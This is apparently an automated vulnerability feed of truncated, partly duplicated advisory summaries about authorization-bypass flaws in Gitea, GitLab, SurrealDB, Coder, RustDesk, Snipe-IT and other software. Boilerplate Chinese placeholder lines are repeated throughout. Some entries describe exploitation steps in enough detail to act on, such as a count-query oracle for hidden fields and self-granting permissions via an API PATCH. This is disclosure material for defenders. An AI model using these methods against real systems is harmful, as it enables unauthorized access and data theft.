💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Coder allows organizations to provision remote development environments via Terraform. Starting in version 2.30.0 and prior to versions 2.32.7, 2.33.8, and 2.34.2, AI Bridge proxy endpoints authenticate via `Server.IsAuthorized` in `coderd/aibridgedserver`, which validates key format, expiry, secret and deleted or system users but does not check whether the account is suspended. Because suspension
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
This vulnerability allows an unauthenticated actor to bypass authentication and gain access to restricted resources on the device.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
This vulnerability allows an unauthenticated actor to bypass authentication and gain access to restricted resources on the device.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.471, terminal WebSocket bootstrap routes did not enforce the expected authorization middleware, allowing an authenticated user to access terminal functionality for resources outside the authorized scope and potentially execute commands. This issue is fixed in version 4.0.0-beta.4
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
FOSSBilling is a free, open-source billing and client management system. In versions 0.5.6 through 0.7.2, when the "Require Email Confirmation" setting is enabled, a logged-in client with an unverified email address (`email_approved = 0`) can access all client-area pages (e.g. `/client/balance`, `/client/order/list`, `/client/invoice`) and read real account data, including wallet balances and tran
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.466, mutating API validation endpoints are guarded by read ability, allowing read-scoped API tokens to perform state-changing operations such as validating cloud tokens and servers. This issue is fixed in version 4.0.0-beta.466.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary `agentConn.apiClient()` used the default redirect behavior of `http.Client` while its custom transport dialed the host from the request URL as long as the port was the workspace agent HTTP API port (`4`). Agent tailnet IPs are deterministic from agent UUIDs, so a malicious workspace agent could return a redirect to another agent's tailnet IP and cause the control-plane client to send
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Traefik is an open source HTTP reverse proxy and load balancer. From v3.7.0 prior to v3.7.6, Traefik's Kubernetes Gateway API provider may resolve two accepted HTTPRoutes that target the same backend Service:port but configure different backendRef filters to the same child service and apply only one route's filter set to all requests reaching that backend. In Gateway deployments where backendRef f
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
FOSSBilling is a free, open-source billing and client management system. Prior to version 0.8.0, the Guest API invoice/update endpoint is missing an authorization check present in other invoice-related endpoints, allowing an unauthenticated user with knowledge of an invoice hash to modify the payment gateway associated with an unpaid invoice. An attacker who obtains an invoice hash, which may leak
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary AI Bridge proxy endpoints authenticate via `Server.IsAuthorized` in `coderd/aibridgedserver`, which validates key format, expiry, secret and deleted or system users but does not check whether the account is suspended. Because suspension does not revoke existing API keys, a suspended user's unexpired token keeps working. > **Note:** Practical impact is limited to already-issued API ke
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary The tailnet coordinator validates that an agent's `Addresses` derive from its authenticated UUID but applies no equivalent check to `AllowedIPs`. The coordinator forwards agent-supplied `AllowedIPs` verbatim to tunnel peers which install them into the WireGuard peer configuration. ### Impact A malicious workspace agent can advertise arbitrary `AllowedIPs` prefixes including another
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The id utility in uutils coreutils miscalculates the groups= section of its output. The implementation uses a user's real GID instead of their effective GID to compute the group list, leading to potentially divergent output compared to GNU coreutils. Because many scripts and automated processes rely on the output of id to make security-critical access-control or permission decisions, this discrepa
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A security vulnerability has been detected in nextlevelbuilder GoClaw up to 3.13.0-beta.2. Impacted is the function MethodRouter.Handle of the file internal/gateway/router.go of the component WebSocket RPC Handler. Such manipulation leads to incorrect authorization. The attack may be launched remotely. The exploit has been disclosed publicly and may be used. The project was informed of the problem
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Gitea versions before 1.26.0 do not fail closed on bufio.Scanner errors while processing pre-receive hook input, allowing oversized input to bypass branch-protection checks.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Permanent Fork PR Workflow Approval Gate Bypass
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Gitea versions up to and including 1.26.1 allow Git smart HTTP requests authenticated with bearer tokens to bypass repository token scope checks.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Gitea versions up to and including 1.26.2 allow Git LFS object reuse to authorize private source objects for users who have repository access but lack Code-unit access.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Gitea versions up to and including 1.26.1 allow OAuth2 access token scope enforcement to be bypassed through HTTP Basic authentication.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Gitea versions before 1.26.0 do not fail closed on bufio.Scanner errors while processing pre-receive hook input, allowing oversized input to bypass branch-protection checks.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Gitea 1.25.5 caches a branch-specific write-permission result across multiple refs in one pre-receive hook session, allowing a per-branch maintainer-edit grant to be reused for other refs and escalate to full repository write access.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Gitea versions up to and including 1.26.2 allow repository RSS and Atom feed endpoints to bypass API access token scope checks, exposing private repository commit data to tokens without the required repository scope.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Gitea versions up to and including 1.26.1 allow the Allow edits from maintainers permission path to authorize commits to repositories that the user can read but should not be able to write.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Dell PowerProtect Data Domain, versions 7.7.1.0 through 8.7, LTS2026 release version 8.6.1.0 through 8.6.1.10, LTS2025 release version 8.3.1.0 through 8.3.1.30, LTS2024 release versions 7.13.1.0 through 7.13.1.70 contain an incorrect authorization vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to unauthorized command execution.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An incorrect authorization vulnerability was identified in GitHub Enterprise Server that allowed a user-to-server token scoped to a GitHub App installation to perform certain write operations on public repositories outside the token's intended scope. This was possible because the authorization check only verified that the installation had read permissions on the target repository rather than verif
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An incorrect authorization vulnerability was identified in GitHub Enterprise Server that allowed a user-to-server token scoped to a GitHub App installation to perform certain write operations on public repositories outside the token's intended scope. This was possible because the authorization check only verified that the installation had read permissions on the target repository rather than verif
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Impact A vulnerability in Fleet for Rancher Manager affects multi-tenancy environments where different tenants share the same downstream clusters (e.g., different privileged or untrusted teams inside the same organization). On unpatched versions, tenants could bypass restrictions to access any config map or secret across all namespaces on the downstream cluster. They can create cluster-wide
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In SurrealDB, records can be connected as a graph: a `RELATE` statement creates an edge record between two node records. If either endpoint node is deleted, SurrealDB automatically removes the edge row to keep the graph consistent. A user with permission to delete a node could also delete the edges connected to that node, even when the edge table's `PERMISSIONS FOR delete` clause should have stop
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A record user could learn the value of a hidden field by counting how many records match a guess. When `DEFINE FIELD ... PERMISSIONS FOR select WHERE ...` hides a field's contents from a caller, and that field is indexed, running `SELECT count() FROM t WHERE hidden_field = "guess" GROUP ALL` returned a count greater than zero whenever a record actually had that value — even though the caller was
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An anonymous caller could create new namespaces and databases on a running SurrealDB instance without holding `DEFINE NAMESPACE` or `DEFINE DATABASE` permission. `USE NS ` and `USE DB ` automatically create the target when it does not exist. The three places `USE` is handled — the RPC `use` method, `Datastore::process_use`, and the SurrealQL executor — did not check whether the caller was allowed
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A record user could read records the table's SELECT permission expression should have hidden, when that expression referenced `$value`, `$before`, `$after`, or `$event`. Binding a chosen value to that name before registering a `LIVE SELECT` caused notifications to evaluate the permission against the attacker's input instead of the real document. ### Impact A record user binds a value to `$value`
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
containerd is an open-source container runtime. In Versions prior to 2.3.2, 2.2.5 and 2.1.9, the CRI implementation improperly trusts Container Device Interface (CDI) annotations found within untrusted checkpoint image metadata during container restoration. When restoring a container from a checkpoint, containerd preserves CDI-related annotations from the checkpoint archive rather than relying sol
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect Authorization (CWE-863) in Elastic Defend can lead to unauthorized information disclosure via Accessing Functionality Not Properly Constrained by ACLs (CAPEC-1). Under certain conditions, a low-privileged authenticated user can access response action data that they are not authorized to view.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
MCO does not properly enforce authorization checks in the /customer/servlet/mco/webapi/admin-view-hierarchy/get-acl-tree-structure endpoint. An authenticated, low-privileged user can retrieve administrator access control structures without proper authorization checks. This may expose sensitive permission mappings and internal configuration details. Because vendor contact attempts were unsuccessfu
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
MCO does not properly enforce authorization checks in the /customer/servlet/mco/webapi/profile-sections/group-membership endpoint. An authenticated user can modify their group membership without proper authorization checks, allowing privilege escalation. An attacker can add themselves to arbitrary groups by supplying a valid group ID, which can be obtained via other application functionalities (e.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Description This is a residual bypass of CVE-2026-46635 / GHSA-vcc8-phrv-43wj that only affects sandboxing enabled through `SourcePolicyInterface` (and not the regular global sandbox mode). `CoreExtension::column()` receives the active sandbox state via the `needs_is_sandboxed` channel as a boolean `$isSandboxed`, but then routes the per-element property reads through `SandboxExtension::chec
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Description This is a residual bypass of CVE-2026-47732 / GHSA-pr2w-4gpj-cpq4 left after the initial fix for unguarded `__toString()` calls. It covers two related coercion points that were not caught by the original patch. **`Traversable` in `join` and `replace` filters.** `SandboxExtension::ensureToStringAllowed()` recurses into PHP arrays so that a `Stringable` object hidden inside an arra
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Description This is a residual bypass of CVE-2026-47732 / GHSA-pr2w-4gpj-cpq4 left after the initial fix for unguarded `__toString()` calls. In 3.26.0 the sandbox visitor was extended to wrap every child node that its parent will string-coerce at runtime with `CheckToStringNode`, gated by the new `CoercesChildrenToStringInterface`. `ArrayExpression` did not implement the interface for its ma
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary The Fission Function admission webhook (`pkg/webhook/function.go`) validated that `spec.secrets[].namespace` and `spec.configmaps[].namespace` equalled the function's own namespace but performed no equivalent check on `spec.environment.namespace`. ### Details An attacker with permission to create Functions in their own namespace could set `spec.environment.namespace` to any other te
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary A Fission Function spec carries three reference types — Secret, ConfigMap, and Package. The first two were namespace-validated by the admission webhook; `PackageRef.Namespace` was not. ### Details A tenant with `functions.fission.io/create` in their own namespace could set `spec.package.packageref.namespace` to any other namespace. When the function is invoked, the fetcher sidecar r
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Summary @cedar-policy/authorization-for-expressjs is an open-source Express.js middleware that integrates Cedar authorization into Express applications by mapping HTTP requests to Cedar actions and evaluating authorization policies before allowing requests to proceed. An issue exists where, under certain circumstances, the middleware matches incoming requests against Cedar action mappings usin
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Adobe Campaign Classic (ACC) versions 7.4.3 build 9396 and earlier are affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue does not require user interaction. Scope is changed.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
ruoyi-vue-pro through 2026.05, fixed in commit 5d1fd70 contains a broken access control vulnerability in ErpSaleOrderController that allows attackers with erp:sale-out permissions to gain unauthorized access to sale order operations by exploiting an incorrect permission namespace enforcement. Attackers holding shipment-level permissions can perform unauthorized create, update, delete, and read ope
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mythic before 3.4.0.60 contains a broken hasura permission filter on the payload_build_step table with an always-satisfied _or condition that bypasses operation-scoped access controls. Authenticated operators and spectators can query payload_build_step to read step_stdout, step_stderr, step_name, and step_description across all operations on the server.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mythic before 3.4.0.60 contains an authorization bypass vulnerability that allows authenticated spectator-role users to perform unauthorized write operations by accessing the eventing_import_automatic_webhook endpoint registered under spectator-permitted middleware. Attackers with spectator role can exploit this misconfigured access control to create and delete automation workflows, making unautho
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mythic before 3.4.0.60 contains an authorization bypass vulnerability that allows authenticated spectator-role users to perform unauthorized write operations by accessing the eventing_import_automatic_webhook endpoint registered under spectator-permitted middleware. Attackers with spectator role can exploit this misconfigured access control to create and delete automation workflows, making unautho
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Mythic before 3.4.0.60 contains a broken hasura permission filter on the payload_build_step table with an always-satisfied _or condition that bypasses operation-scoped access controls. Authenticated operators and spectators can query payload_build_step to read step_stdout, step_stderr, step_name, and step_description across all operations on the server.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
ruoyi-vue-pro through 2026.05, fixed in commit 5d1fd70 contains a broken access control vulnerability in ErpSaleOrderController that allows attackers with erp:sale-out permissions to gain unauthorized access to sale order operations by exploiting an incorrect permission namespace enforcement. Attackers holding shipment-level permissions can perform unauthorized create, update, delete, and read ope
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A flaw has been found in khoj-ai khoj up to 2.0.0-beta.28. This impacts an unknown function of the file src/khoj/routers/api_chat.py of the component Conversation Sharing Handler. This manipulation of the argument conversation.agent causes incorrect authorization. Remote exploitation of the attack is possible. The exploit has been published and may be used. The pull request to fix this issue await
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A vulnerability has been found in MLflow up to 4666cffc7912ea606d592fc38d6a75e2935f65e7. The impacted element is an unknown function of the component Experiment-scoped Label Schema CRUD API. Such manipulation leads to missing authorization. It is possible to launch the attack remotely. A high complexity level is associated with this attack. The exploitability is regarded as difficult. The exploit
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
RustDesk gates incoming control messages on per-capability flags rather than on the session's authorized connection type, and a file-transfer session does not clear those flags. A peer holding only a valid FileTransfer authorization can inject keyboard and mouse input and reach the unguarded screenshot and display-capture handlers, acting outside its granted scope.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
CVE-2026-58056 是 RustDesk 远程桌面软件中的一个授权绕过漏洞。RustDesk 在控制传入消息时，基于按权限的标志位而非会话的授权连接类型进行门控，且文件传输会话在结束后未清除这些标志位。因此，仅拥有有效文件传输授权的对等端可以注入键盘和鼠标输入，并访问未受保护的截图和显示捕获处理程序，从而执行其授权范围之外的操作。该漏洞允许低权限攻击者通过网络远程利用，无需用户交互，但需要有效的文件传输授权。成功利用可能导致机密性低影响、完整性高影响、可用性低影响。CVSS 评分为 7.6（高危）。目前未发现该漏洞被在野利用，也未列入已知被利用漏洞目录。受影响的版本未知，建议用户尽快升级到包含此漏洞修复的最新版本，并限制不必要的网络暴露。
💡 影响/原因: 该漏洞允许文件传输授权用户绕过权限限制，执行键盘鼠标输入和屏幕捕获，可能导致未经授权的远程控制，对系统完整性和机密性构成严重威胁。
### Impact The Live Preview endpoint for existing entries and terms only checked view authorization, but it accepts and renders caller-supplied field values. A Control Panel user with view but not edit permission could therefore submit content they were not authorized to author and generate a shareable Live Preview URL rendering it. ### Patches This has been fixed in 5.74.0 and 6.20.3.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary `PATCH /server/{id}` accepts and persists nonexistent `ddns_profiles` IDs for a member-owned server. If another user later creates a DDNS profile with one of those IDs, the DDNS worker resolves the stored ID and dispatches an update using the other user's DDNS profile configuration in the context of the attacker's server. This is a second-order authorization bypass: direct binding to
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Impact **CVSSv4 Baseline Score:** Low 2.4 **CVSSv4 Weighted Score:** Low 1.3 The full CVSSv4 Vector for this vulnerability is: > CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:P/CR:H/IR:L/AR:L/MAV:N/MAC:H/MAT:P/MPR:L/MVC:L/MVI:N/MVA:N/MSC:L/MSI:N/MSA:N/S:N/AU:Y/R:U/V:D/RE:L/U:Amber **CVSSv3.1 Baseline Score:** Low 3.1 **CVSSv3.1 Overall Score:** Low 3.4 The full CVSSv
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Blnk API key endpoints had an authorization issue that allowed non-master API keys to perform key-management actions outside their intended authorization boundary. In affected versions, API key operations trusted caller-controlled request values for owner and scope decisions. As a result, a non-master API key could potentially manage keys for another owner by supplying a different owner value, or
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Kestra 是一个开源的事件驱动编排平台。在版本 1.0.45 和 1.3.21 之前，previewFileFromExecution 端点（GET /api/v1/{tenant}/executions/{executionId}/file/preview）存在访问控制绕过漏洞。任何经过身份验证的用户都可以通过该端点读取同一租户内任意其他执行的输出文件，从而绕过了执行级别和命名空间级别的隔离。攻击者只需拥有有效的用户凭证，即可枚举或猜测执行 ID，进而访问敏感输出数据。该漏洞影响 Kestra 的早期版本，官方已在 1.0.45 和 1.3.21 中修复。建议用户立即升级到修复版本，并检查是否有未授权的访问日志。作为临时缓解措施，可限制对 API 端点的网络访问，并实施严格的用户权限管理。
💡 影响/原因: 该漏洞允许认证用户跨执行读取输出文件，可能导致敏感信息泄露。CVSS 6.5，影响范围较广，需要及时升级修复。
### Impact An authenticated Control Panel user could view metadata and content for resources they don't have permission to view, including entries, assets, users, roles, groups, and other configured resources. Depending on the resource, this could expose titles, custom field values, entry content, asset metadata, and the existence of users, roles, and groups. No data could be modified. ### Patch
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
RustFS is a distributed object storage system built in Rust. From 1.0.0-alpha.1 until 1.0.0-beta.9, when the FTP frontend is enabled, the FTP read and probe handlers dispatch directly to the storage backend without ever calling the IAM authorization function that the FTP write/list handlers (and the entire HTTP S3 path) use. As a result, any user who can authenticate to the FTP listener — includin
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
RustFS is a distributed object storage system built in Rust. From 1.0.0-alpha.1 until 1.0.0-beta.9, RustFS contains an authorization bypass in the bucket replication admin API. The ListRemoteTargetHandler handler for listing remote replication targets only checks whether request credentials exist, but does not verify that the caller has replication or administrator permissions. As a result, an aut
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenProject is open-source, web-based project management software. Prior to 17.3.3 and 17.4.1, a cross-project IDOR / authorization context confusion in the Calendar and Team Planner modules allows a user with management permissions in one project to delete public Calendar or Team Planner Queries from another project where they do not have the corresponding management permissions. Both modules aut
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenProject is open-source, web-based project management software. Prior to 17.3.2 and 17.4.0, the GET /api/v3/shares endpoint returns share details for ALL work packages in a project to any user with the view_shared_work_packages permission. The authorization check operates at the project level only — it does not verify the requesting user can actually view each individual shared work package. Th
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A privilege escalation vulnerability exists in LXD from 6.0 before 6.9, 5.21.0 before 5.21.5, and 5.0.0 before 5.0.7 regarding the handling of project-restriction policies during snapshot restoration.. An authenticated project operator in a restricted multi-tenant environment can bypass policy restrictions by importing a maliciously crafted instance backup containing restricted configuration keys
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Previously, CVE-2024-45337 fixed an authorization bypass for misused ssh server configurations; if any other type of callback is passed other than public key, then the source-address validation would be skipped.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary The `PUT /api/1/roles/` handler in `lemur/roles/views.py` gates only on `RoleMemberPermission(role_id).can()`, which is satisfied for any user who is already a member of the target role. The handler then passes `data["users"]` and `data["name"]` directly to `service.update()`, permitting any role member to rewrite that role's membership list and name. The companion `DELETE` handler on
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An incorrect parsing of the filename can result in a policy bypass and read files disallowed by a security policy using a symlink.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.7, `POST /api/share/` accepts an authenticated request for an arbitrary path and stores a public share record without checking whether the target file currently exists. Later, when a file is created at that same path, the previously created public s
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.6, File Browser's public share handlers rebase the share owner's filesystem root to the shared directory and then evaluate descendant paths against the owner's global and per-user rules using the rebased relative path instead of the original path re
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
ToolJet is the open-source foundation am AI-native platform for building and deploying internal tools, workflows and AI agents. Prior to 3.20.1780-lts, the authenticated endpoint POST /api/data-sources/decrypt returns the decrypted plaintext for any credential whose credential_id is supplied in the request body. Unlike every neighbouring data-source route, this handler is not protected by Validate
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Outline is a service that allows for collaborative documentation. Prior to 1.8.0, the AuthenticationHelper.canAccess function uses ctx.originalUrl to verify if an API key or OAuth token has the required scopes for a request. It extracts the resource by splitting the URL by / and taking the last segment. However, it fails to strip the URL fragment (#). Because Koa's router uses ctx.path (which stri
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 17.11 before 18.11.6, 19.0 before 19.0.3, and 19.1 before 19.1.1 that under certain conditions could have allowed an authenticated user with developer-role permissions to bypass package protection rules and overwrite protected Maven package metadata due to incorrect authorization checks.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
GitLab has remediated an issue in GitLab CE/EE affecting all versions from 13.6 before 18.11.6, 19.0 before 19.0.3, and 19.1 before 19.1.1 that under certain conditions could have allowed an authenticated user with Reporter-level group permissions to view package metadata from projects with the Package Registry disabled due to incorrect authorization checks in the group packages feature.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
GitLab has remediated an issue in GitLab EE affecting all versions from 13.11 prior to 18.11.6, 19.0 prior to 19.0.3, and 19.1 prior to 19.1.1 in which incorrect authorization in DAST site profile management could allow a user with Developer role to exfiltrate DAST site profile secrets under certain conditions.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
GitLab has remediated an issue in GitLab EE affecting all versions from 17.9 before 18.11.6, 19.0 before 19.0.3, and 19.1 before 19.1.1 that under certain conditions could have allowed an authenticated user with custom role permissions to view, create, or delete protected environment configurations despite CI/CD visibility being disabled for the project.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Gogs is an open source self-hosted Git service. Prior to 0.14.3, three API endpoints — PATCH /api/v1/repos/:owner/:repo/issue-tracker, PATCH /api/v1/repos/:owner/:repo/wiki, and POST /api/v1/repos/:owner/:repo/mirror-sync — are gated by reqRepoWriter() rather than reqRepoAdmin(). The equivalent operations in the web UI sit behind reqRepoAdmin, which requires AccessMode >= AccessModeAdmin. A write-
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Gogs is an open source self-hosted Git service. In 0.14.3 and earlier, any authenticated user can watch a private repository they have no access to, because the access check in the Watch API handler is inverted. The code checks if repoCtx.ViewerCanRead() (returns 404 when the user CAN read) instead of if !repoCtx.ViewerCanRead() (return 404 when the user CANNOT read). Once watching, the attacker's
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Capgo before 12.128.2 fails to enforce limited_to_orgs and limited_to_apps constraints on subkeys provided via x-limited-key-id header in middlewareKey function. Attackers can bypass subkey scope restrictions by referencing their own subkeys, causing all downstream route handlers to use the unrestricted parent key instead of the scoped subkey.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Impact The vulnerability allows a non-admin user holding only the granular `users.edit` permission to lock every admin out of the instance by editing the `activated` flag (which determines whether or not a user can login) and the `ldap_import` flag, which determines whether or not the user can request a password reset. ### Patches Patched in https://github.com/grokability/snipe-it/commit/403
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.21.0 until 2.21.4 and 3.1.4, UnwrappedPropertyHandler.processUnwrappedCreatorProperties() replays buffered JSON into creator parameters but never consults prop.visibleInView(activeView). The normal property-based creator path gates creator properties on the active view, but th
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
### Impact A user with only users.edit AND api permissions can send a PATCH to /api/v1/users/{their_own_id} and grant themselves any permission except admin and superuser — for example `assets.view`, `assets.create`, `reports.view`, import, etc. ### Patches Patched in https://github.com/grokability/snipe-it/pull/19024
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
## Summary In `BeanDeserializer._deserializeUsingPropertyBased`, the active-view (`@JsonView`) filter was applied only to creator properties; the regular property-buffering branch performed no `prop.visibleInView(activeView)` check. A change making `SetterlessProperty.isMerging()` return `true` routed setterless Collection/Map properties through this unguarded path, so a setterless collection anno
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.21.0 until 2.21.4 and 3.1.4, in BeanDeserializer._deserializeUsingPropertyBased, the active-view (@JsonView) filter was applied only to creator properties; the regular property-buffering branch performed no prop.visibleInView(activeView) check. A change making SetterlessProper
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
NocoDB is software for building databases as spreadsheets. Prior to 2026.04.1, the OAuth token strategy attached oauth_scope and oauth_granted_resources to the request user, but the ACL middleware never consulted either. An OAuth token issued with a restricted scope (e.g. MCP-only) therefore inherited the full permissions of the underlying user across all routes; the granted_resources.base_id rest
